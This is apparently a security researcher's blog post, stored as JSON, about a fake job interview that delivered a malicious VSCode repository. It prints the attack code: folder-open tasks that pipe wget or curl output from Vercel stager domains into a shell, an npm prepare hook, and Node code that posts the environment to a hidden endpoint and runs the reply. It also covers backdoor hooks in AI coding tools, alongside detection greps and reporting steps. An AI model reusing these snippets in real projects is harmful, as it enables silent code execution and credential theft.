{"schemaVersion":"1.0","type":"TechArticle","types":["Article","TechArticle"],"slug":"i-had-a-fake-job-interview-it-was-a-malware-delivery-chain-wy7ss","url":"https://zyvop.com/i-had-a-fake-job-interview-it-was-a-malware-delivery-chain-wy7ss","title":"I had a fake job interview. It was a malware delivery chain.","subtitle":"A fake recruiter tried to turn VSCode workspace trust into silent code execution. Here is the attack chain, the infrastructure, and the IOCs.","tldr":"2026-04-29 — A fake recruiter tried to walk me into opening a malicious VSCode workspace.I refused, preserved the artifacts, mapped the infrastructure, and submitted the IOCs to public threat-intel fe","keywords":["cybersecurity","DevSecOps","threat intelligence","malware","VS Code","contagious-interview","supply chain","IT Security","Security Research"],"entities":["Oliver Zehentleitner","Senior DevSecOps & AI Engineer","cybersecurity","DevSecOps","threat intelligence","malware","VS Code","contagious-interview","supply chain","IT Security","Security Research","ZyVOP"],"keyTakeaways":["Linux: wget ... | sh.","macOS: curl ... | bash.","Windows: curl ... | cmd.","abuse.ch ThreatFox.","abuse.ch URLhaus.","AlienVault OTX."],"headings":["TL;DR","How it started","The thing that saved me","The interview","The VSCode trap","Why this works","The first payload layer: Vercel-hosted stagers","The second payload layer: npm lifecycle execution","The third layer: BeaverTail-style Node.js RCE and environment exfiltration","Why I classify this as Contagious-Interview-style tradecraft","What I reported","Vercel Trust &amp; Safety","GitHub Trust &amp; Safety","LinkedIn Trust &amp; Safety","VSCode hardening note","Public threat-intel","Detection ideas","Repository static checks","Runtime detection ideas","Lessons learned","1. Unknown repositories are hostile until proven otherwise","2. \"Open this in VSCode\" is now a security-relevant request","3. Trust prompts are not enough","4. AI coding tools have the same class of problem"],"outboundLinks":["https://www.reddit.com/r/blueteamsec/comments/1sw26a2/claudecodebackdoor_backdooring_claude_code_via/","https://www.linkedin.com/in/s0ld13r/","https://github.com/s0ld13rr/claude-code-backdoor","https://www.binance.com/en/square/profile/oliver-zehentleitner","https://github.com/oliver-zehentleitner","https://x.com/unicorn_oz","https://www.linkedin.com/in/oliver-zehentleitner/","https://t.me/unicorndevs"],"contentText":"2026-04-29 — A fake recruiter tried to walk me into opening a malicious VSCode workspace. I refused, preserved the artifacts, mapped the infrastructure, and submitted the IOCs to public threat-intel feeds. TL;DR Today I was invited to what looked like a normal Google Meet job interview. The recruiter asked me to review a Web3 poker/casino repository and open it in VSCode. I did not. Instead, I inspected the repository in the browser first and found a malicious .vscode/tasks.json file. The repository was configured to execute shell commands automatically when the folder is opened in VSCode after Workspace Trust is granted: Linux: wget ... | sh macOS: curl ... | bash Windows: curl ... | cmd The commands were visually hidden by pushing the \"command\" field more than 200 columns to the right with whitespace padding. The payloads were hosted on rotating Vercel subdomains under /api/settings/{linux,mac,windows}. Further analysis showed a second execution path through npm install, a BeaverTail-style Node.js RCE/exfil chain hidden behind a base64-encoded .env value, and infrastructure rotating across at least 16 Vercel-hosted projects since January 2026. I submitted the indicators and infrastructure reports to: abuse.ch ThreatFox abuse.ch URLhaus AlienVault OTX GitHub Trust &amp; Safety Vercel Trust &amp; Safety LinkedIn Trust &amp; Safety Vercel has acknowledged the abuse report under case number 01139817. GitHub has acknowledged the repository abuse report under support ticket #4339052. This is the lesson: Opening an unknown repository in a modern developer tool is not a passive action anymore. The old mental model was: \"I did not run the code, I only opened the project.\" That model is broken. The real question is: \"Did my tooling trust the project?\" How it started On 2026-04-13, I received a LinkedIn InMail from a profile using the name: John Armour Lamont CEO &amp; Founder | Climate action through Technology The message looked like ordinary recruiter outreach: DevSecOps security architecture Kubernetes CI/CD scalable infrastructure Web3 platform DevSecOps Lead / Solution Architect All of that matches my public LinkedIn profile closely enough to feel plausible. But the message also had the classic smell of a generic lure: no company name no product name no founder names no funding source no concrete architecture no concrete chain no real technical framing I asked for details before scheduling anything. The answer stayed vague: \"The MVP is completed, and we've secured initial funding $6M.\" \"The team is lean but growing.\" \"We're leveraging EVM compatible chains.\" \"It would be better to discuss this during the meeting.\" That is not proof of malice. But it is exactly the kind of vague-but-plausible language that works well in recruiter pretexts. A few Calendly links later, we scheduled the call. The thing that saved me Two days before the interview, I read a Reddit post about a Claude Code proof-of-concept by Zhangir Ospanov. The PoC is here: https://github.com/s0ld13rr/claude-code-backdoor The core point was simple: Claude Code can execute project-local hooks from .claude/settings.json when a trusted project starts. That is not a magic exploit. It is tool behavior. But the security boundary matters. The dangerous situation is not: \"I ran the malware.\" The dangerous situation is: \"I opened an untrusted project inside a tool that can execute project-local automation.\" That same pattern exists across modern developer tooling: .vscode/tasks.json .claude/settings.json Cursor / Windsurf project configs package.json scripts preinstall / postinstall / prepare Makefiles Git hooks Docker Compose files CI configs language-server initialization paths I made a mental note: If somebody asks me to open an unfamiliar repository in any IDE, inspect the project automation files first. Two days later, that note mattered. The interview On 2026-04-29, the Google Meet call started normally. We talked about my background. There were no meaningful technical questions. No architecture discussion. No real DevSecOps interview. Then, about 25 minutes in, the recruiter sent the repository: https://github.com/Novara1o1/jackpot The project looked like a Web3 poker/casino application. The README looked plausible. The repository had history. The stack looked believable: React Next.js Solidity Hardhat ethers.js MongoDB SettleMint references I said: \"This is JavaScript. I mostly do Python.\" The answer: \"That's fine. Just review it. Could you open it in VSCode?\" That was the trigger. Why VSCode specifically? I had already told him I use PyCharm. A normal interviewer would not care which editor I use for a superficial review. But this repository cared. So I did not open it in VSCode. I inspected it in the browser. Then I went straight to .vscode/. The VSCode trap The repository contained a .vscode/tasks.json file with folder-open tasks. Simplified, the relevant part looked like this: { \"version\": \"2.0.0\", \"tasks\": [ { \"label\": \"install-root-modules\", \"type\": \"shell\", \"command\": \"npm install --silent --no-progress\", \"runOptions\": { \"runOn\": \"folderOpen\" }, \"presentation\": { \"reveal\": \"silent\", \"echo\": false, \"focus\": false, \"panel\": \"new\", \"showReuseMessage\": false, \"clear\": true } }, { \"label\": \"env\", \"type\": \"shell\", \"linux\": { \"command\": \"wget -qO- 'https://ip-address-check-mo.vercel.app/api/settings/linux' | sh\" }, \"osx\": { \"command\": \"curl -L 'https://ip-address-check-mo.vercel.app/api/settings/mac' | bash\" }, \"windows\": { \"command\": \"curl --ssl-no-revoke -L https://ip-address-check-mo.vercel.app/api/settings/windows | cmd\" }, \"presentation\": { \"reveal\": \"silent\", \"echo\": false, \"focus\": false, \"close\": true, \"panel\": \"new\", \"showReuseMessage\": false, \"clear\": true }, \"runOptions\": { \"runOn\": \"folderOpen\" } } ] } The important part is not only the command. The important part is the interaction: \"runOptions\": { \"runOn\": \"folderOpen\" } combined with: \"presentation\": { \"reveal\": \"silent\", \"echo\": false, \"focus\": false, \"close\": true } This means: The task is eligible to run when the folder opens. After Workspace Trust is granted, the shell command can execute. The terminal output is suppressed or hidden. The command is not clearly surfaced as a separate, explicit security decision. And then there is the visual trick: The \"command\" field was pushed far to the right with whitespace. In the sample I analyzed, the malicious command began after more than 200 ASCII spaces. The repository's .vscode/settings.json also set: { \"editor.wordWrap\": \"off\" } So a casual reviewer opening the file in VSCode sees a harmless-looking structure and may not visually notice the command at all. This is not clever cryptography. It is better than that. It abuses developer habit. Why this works The attacker does not need to convince the developer to run malware. They only need to convince the developer to follow a normal workflow: clone repo open folder trust workspace let tooling initialize That is the real trust-boundary failure. The human thinks: \"I am just opening the project.\" The tool thinks: \"This workspace is trusted, so project automation can run.\" The attacker thinks: \"Perfect.\" This is the same class of problem as: Claude Code hooks in .claude/settings.json package manager lifecycle scripts Makefile targets Git hooks CI workflow files language-specific project bootstrap files The security boundary is no longer: Did I manually execute the application? The security boundary is: Did my tooling trust the project? The first payload layer: Vercel-hosted stagers The active lure repository referenced this domain: ip-address-check-mo.vercel.app with OS-specific endpoints: /api/settings/linux /api/settings/mac /api/settings/windows The commands used the classic download-and-execute pattern: wget -qO- 'https://ip-address-check-mo.vercel.app/api/settings/linux' | sh curl -L 'https://ip-address-check-mo.vercel.app/api/settings/mac' | bash curl --ssl-no-revoke -L https://ip-address-check-mo.vercel.app/api/settings/windows | cmd That is not a settings API. That is a staged execution path. During the investigation, I mapped a rotating set of Vercel-hosted projects used by the same campaign pattern. The Stage-1 stager infrastructure observed so far: Date Stager domain 2026-04-28 ip-address-check-mo.vercel.app 2026-04-20 vscode-address-checking-mo.vercel.app 2026-04-13 ip-address-check1.vercel.app.vercel.app 2026-04-07 vscode-ip-checking-nine.vercel.app 2026-03-31 ip-address-vscode-checking.vercel.app 2026-03-17 vscode-ipaddress-checking-nine.vercel.app 2026-03-16 vscode-ipaddress-checking.vercel.app 2026-03-13 vscode-ip-address-checking-ten.vercel.app 2026-03-13 vscode-ip-address-checking.vercel-ten.app 2026-03-02 vscode-ip-address-checking.vercel.app 2026-03-02 vscode-ip-addess-checking.vercel.app 2026-02-27 vscode-settings-tasks-227.vercel.app 2026-02-23 vscode-ipchecking.vercel.app 2026-02-20 vscode-settings-tasks-json.vercel.app 2026-02-03 vscodesetting-task.vercel.app 2026-01-27 vscodesettingtask.vercel.app There are obvious operator mistakes in that list: doubled .vercel.app vercel-ten.app instead of .vercel.app addess instead of address That matters. Typos are often better pivot material than perfect infrastructure. They show manual editing, copy/paste drift, and operational pressure. The second payload layer: npm lifecycle execution The VSCode path was not the only execution vector. The repository also carried an npm-based path. In package.json: \"scripts\": { \"start\": \"node server/server.js | react-scripts --openssl-legacy-provider start\", \"build\": \"node server/server.js | react-scripts --openssl-legacy-provider build\", \"test\": \"node server/server.js | react-scripts --openssl-legacy-provider test\", \"eject\": \"node server/server.js | react-scripts --openssl-legacy-provider eject\", \"prepare\": \"node server/server.js\" } The dangerous one is: \"prepare\": \"node server/server.js\" prepare is an npm lifecycle script. So if the victim does not open the project in VSCode but instead runs: npm install the server-side JavaScript still executes. That gives the attacker two chances: IDE auto-execution via .vscode/tasks.json npm lifecycle execution via prepare This is exactly how good malware chains are built. They do not rely on one path. They layer normal developer behaviors until one of them fires. The third layer: BeaverTail-style Node.js RCE and environment exfiltration The repository also contained a hidden runtime chain in the application code. In server/routes/api/auth.js, simplified: const verified = validateApiKey(); if (!verified) { console.log(\"Aborting mempool scan due to failed API verification.\"); return; } async function validateApiKey() { verify(setApiKey(process.env.AUTH_API)) .then((response) =&gt; { const executor = new Function(\"require\", response.data); executor(require); return true; }) .catch((err) =&gt; { return false; }); } In server/controllers/auth.js: const setApiKey = (s) =&gt; atob(s); const verify = (api) =&gt; axios.post(api, { ...process.env }, { headers: { \"x-app-request\": \"ip-check\" } }); What this does: Reads process.env.AUTH_API Base64-decodes it POSTs the entire process.env to the decoded URL Receives JavaScript code as response Executes that code with: new Function(\"require\", response.data) That is full Node.js RCE. It also exfiltrates the victim's environment variables. The .env file is designed to look harmless: NODE_ENV=development PORT=3000 ALCHEMY_API_KEY=demo-alchemy-0123456789abcdef ETHERSCAN_API_KEY=etherscan_demo_ABC123DEF456 POLYGONSCAN_API_KEY=polygonscan_demo_ABC123DEF456 INFURA_IPFS_PROJECT_ID=infura-ipfs-demo-112233 OPENAI_API_KEY=sk-test_OpenAIkey1234567890 PINATA_API_KEY=pinata_test_key_9876543210 STRIPE_SECRET_KEY=sk_test_STRIPEKEY123456 COINBASE_COMMERCE_API_KEY=cc_test_COINBASE12345 AUTH_API=aHR0cHM6Ly95LWhhemVsLXRlbi52ZXJjZWwuYXBwL2FwaQ== AWS_ACCESS_KEY_ID=AKIAEXAMPLE12345 AWS_SECRET_ACCESS_KEY=SecretKeyExample/AbC1234567890 Most values are obvious demo placeholders. One value is not. AUTH_API=aHR0cHM6Ly95LWhhemVsLXRlbi52ZXJjZWwuYXBwL2FwaQ== Decoded: https://y-hazel-ten.vercel.app/api That is a second Vercel-hosted endpoint, separate from the VSCode stager rotation. So the repository contains at least two distinct malicious infrastructure paths: Stage-1 OS-specific shell stagers under /api/settings/{linux,mac,windows} Stage-2 BeaverTail-style Node.js RCE/exfil endpoint under /api The fake x-app-request: ip-check header is there to make the traffic look like a harmless IP or environment check. It is not harmless. It sends the victim's environment to the operator. Why I classify this as Contagious-Interview-style tradecraft I am careful with attribution. I cannot prove who sat behind the keyboard during my call. The LinkedIn profile may be fake, compromised, impersonated, or operated by the attacker. But the tradecraft strongly overlaps with publicly documented Contagious Interview activity: fake recruiter outreach Web3 / crypto / casino / blockchain lure projects GitHub-hosted project repositories developer asked to open the project locally npm lifecycle execution paths JavaScript malware BeaverTail-style code patterns base64-obfuscated C2 endpoint environment-variable exfiltration remote JavaScript execution via new Function Vercel-hosted rotating infrastructure short-lived operator accounts That is the important point. Whether the exact operator label is Lazarus, Sapphire Sleet, DEV#POPPER, CL-STA-0240, OtterCookie, or another overlapping cluster is less important for defenders than the execution pattern. The practical defensive message is the same: Fake job interviews are being used to get developers to execute malware through normal project tooling. What I reported I submitted the malicious repository and infrastructure to the relevant platforms. Vercel Trust &amp; Safety Vercel acknowledged the report under case number: 01139817 The report covered: 15 Stage-1 Vercel stager domains 1 Stage-2 BeaverTail-style RCE/exfil endpoint shared URL pattern /api/settings/{linux,mac,windows} likely shared operator naming patterns known GitHub-attributed operator emails ThreatFox and URLhaus references The requested actions were: Take down the listed malicious projects Block redeployment by related operator accounts Hunt for sister projects using the same naming and endpoint patterns Preserve metadata for correlation with abuse.ch / law enforcement where appropriate GitHub Trust &amp; Safety GitHub acknowledged the report under support ticket: #4339052 Reported repository: https://github.com/Novara1o1/jackpot Reason: malicious .vscode/tasks.json runOn: folderOpen silent shell stager execution npm lifecycle execution path BeaverTail-style Node.js RCE/exfil chain LinkedIn Trust &amp; Safety Reported the recruiter profile as potentially: fake compromised impersonated used as part of a recruiting malware campaign I am deliberately not stating that the real-world person named on the profile is the attacker. That is important. The profile is part of the observed attack chain. The identity behind it is a separate question. VSCode hardening note I am not treating this as a VSCode vulnerability claim in this article. Workspace Trust is a real security boundary, and the attacker still needs the victim to grant trust. But the user experience is still worth discussing because this campaign abuses the gap between two different mental models. A user can interpret \"I trust the authors\" as: \"I trust this repository enough to inspect it.\" A developer tool can interpret it as: \"Project-local automation may execute.\" Those are not the same decision. For runOn: folderOpen shell tasks, a safer design would require explicit per-task approval and display the complete command before first execution. Especially when the task uses: \"presentation\": { \"reveal\": \"silent\", \"echo\": false, \"focus\": false, \"close\": true } The important defensive lesson is not \"VSCode is broken.\" The lesson is: Project trust can become command execution. Treat it accordingly. Public threat-intel Indicators from this investigation were submitted to public abuse.ch feeds. ThreatFox: https://threatfox.abuse.ch/browse/tag/jackpot/ URLhaus: https://urlhaus.abuse.ch/browse/tag/jackpot/ My ThreatFox profile: https://threatfox.abuse.ch/user/12877/ The indicators include: Vercel stager domains active stager URLs BeaverTail-style endpoint malicious file hashes campaign tag jackpot malware family tags where accepted by the platform This matters because social-media warnings are useful, but structured threat-intel is ingestible. Defenders can block it. Researchers can pivot from it. Platforms can correlate it. That is the goal. Detection ideas Repository static checks Before opening an unknown repository in any IDE, search for project-local execution surfaces: find . -maxdepth 4 \\( \\ -path \"*/.vscode/tasks.json\" -o \\ -path \"*/.vscode/settings.json\" -o \\ -path \"*/.claude/settings.json\" -o \\ -name \"package.json\" -o \\ -name \"Makefile\" -o \\ -path \"*/.git/hooks/*\" -o \\ -name \"docker-compose.yml\" \\ \\) -print Search for suspicious folder-open tasks: grep -RInE '\"runOn\"[[:space:]]*:[[:space:]]*\"folderOpen\"|curl.*\\|.*(sh|bash|cmd)|wget.*\\|.*(sh|bash)' . Search for JavaScript runtime-eval patterns: grep -RInE 'new Function|eval\\(|process\\.env|axios\\.post|atob\\(' . Search for base64-looking environment values: grep -RInE '^[A-Z0-9_]+=[A-Za-z0-9+/]{30,}={0,2}$' .env* 2&gt;/dev/null Runtime detection ideas Watch for editor or Node processes spawning network downloaders: Code.exe / code -&gt; cmd.exe / powershell.exe / bash / sh -&gt; curl / wget -&gt; pipe to sh/bash/cmd Watch for Node processes posting environment-sized payloads to unknown Vercel domains. Watch for traffic to: *.vercel.app/api/settings/linux *.vercel.app/api/settings/mac *.vercel.app/api/settings/windows especially when launched by: VSCode Cursor Windsurf Claude Code npm node bash sh cmd.exe powershell.exe Lessons learned 1. Unknown repositories are hostile until proven otherwise Do not open unknown repositories directly in your normal IDE. Not VSCode. Not Cursor. Not Windsurf. Not Claude Code. Not anything with project-level automation. Use a plain text viewer, browser review, container, or VM first. 2. \"Open this in VSCode\" is now a security-relevant request That sentence used to sound normal. It is still normal in many contexts. But in recruiter calls, freelance interviews, code-review lures, crypto projects, and \"quick technical checks\", it should raise your blood pressure a little. Not panic. Just friction. A good answer is: I do not open untrusted repositories directly in an IDE during calls. I will inspect it offline in a controlled environment. A real recruiter accepts that. An attacker pushes back. 3. Trust prompts are not enough The problem is not that users are stupid. The problem is that the trust prompt asks the wrong question too broadly. A user may trust a workspace enough to browse it. That does not mean the user knowingly approved automatic shell execution. Tooling needs finer-grained trust decisions. Especially for: shell tasks lifecycle scripts hooks AI-agent startup hooks commands downloaded from the network commands piped into interpreters 4. AI coding tools have the same class of problem This is bigger than VSCode. The same trust-boundary issue exists in AI coding tools and agentic developer environments. Project-local config is no longer just configuration. It can be execution policy. That includes files like: .claude/settings.json .vscode/tasks.json .cursor/ .windsurf/ package.json Makefile .git/hooks/ docker-compose.yml .github/workflows/ The security question is not: Did I run the program? The question is: What did my tooling run for me? 5. Awareness works I refused this attack because two days earlier I had read about the same trust-boundary problem in Claude Code through Zhangir Ospanov's PoC. Different tool. Same pattern. That awareness changed my behavior at the exact right moment. This is why I am linking his work directly: Zhangir Ospanov on LinkedIn claude-code-backdoor PoC on GitHub So yes, sharing these findings matters. Blog posts matter. Reddit posts matter. LinkedIn posts matter. IOCs matter. They put patterns into people's heads before the attacker reaches them. If you were targeted If you received recruiter outreach matching this pattern, or were asked to open the jackpot repository or a similar Web3 project in VSCode, treat it seriously. If you only viewed the repository in a browser, you are likely fine. If you downloaded the ZIP but did not open it in an IDE, run npm install, or execute scripts, you are likely fine. If you opened it in VSCode and clicked Workspace Trust, or ran npm install, or started the app locally, treat the machine as potentially compromised. Immediate steps: Disconnect the machine from sensitive networks. Preserve artifacts if you can do so safely. Rotate credentials that were present in environment variables, shell config, npm config, cloud CLIs, wallet tooling, SSH agents, browser sessions, and developer secrets. Check shell history, VSCode task history, npm logs, process execution logs, EDR telemetry, and outbound network logs. Look for connections to Vercel /api/settings/* endpoints and y-hazel-ten.vercel.app/api. Rebuild from a known-good state if execution is confirmed. References AlienVault Pulse https://otx.alienvault.com/pulse/69f9ab38f883023c833b2fd8 ThreatFox campaign tag: jackpot https://threatfox.abuse.ch/browse/tag/jackpot/ URLhaus campaign tag: jackpot https://urlhaus.abuse.ch/browse/tag/jackpot/ ThreatFox user profile: https://threatfox.abuse.ch/user/12877/ Zhangir Ospanov — LinkedIn: https://www.linkedin.com/in/s0ld13r/ Zhangir Ospanov — Claude Code backdoor PoC: https://github.com/s0ld13rr/claude-code-backdoor VSCode Workspace Trust documentation: https://code.visualstudio.com/docs/editing/workspaces/workspace-trust VSCode Tasks documentation: https://code.visualstudio.com/docs/editor/tasks Closing thought This was not a \"malicious repository\" in the old sense. It was a malicious developer workflow. The repository did not need me to run the app. It needed me to behave like a normal developer. Open the folder. Trust the workspace. Let the tool initialize. That is the attack. And that is why this needs to be understood beyond this single case. I hope you found this informative and useful. Follow me on Binance Square, GitHub, X, and LinkedIn, or join Telegram for updates on my latest publications. Constructive feedback is always appreciated. Thank you for reading, and happy coding! ¯\\_(ツ)_/¯","contentHash":"sha256:e54aec9b27bba7512465915df3c05811bbc4edba35471eff5a3298e05782dba3","authorName":"Oliver Zehentleitner","authorUrl":"https://zyvop.com/author/oliverzehentleitner","authorSameAs":["https://blog.technopathy.club","https://github.com/oliver-zehentleitner/","https://x.com/unicorn_oz","https://www.linkedin.com/in/oliver-zehentleitner"],"category":"IT Security","tags":["cybersecurity","DevSecOps","threat intelligence","malware","VS Code","contagious-interview","supply chain"],"audience":"Software engineers and developers building applications with IT Security","tone":"Instructional, practical, code-first","readingTimeMinutes":15,"wordCount":3204,"faqs":null,"primaryTopic":"IT Security","publishedAt":"2026-09-24T17:09:29.979Z","updatedAt":"2026-09-24T17:09:29.979Z","canonicalUrl":"https://blog.technopathy.club/i-had-a-fake-job-interview-it-was-a-malware-delivery-chain"}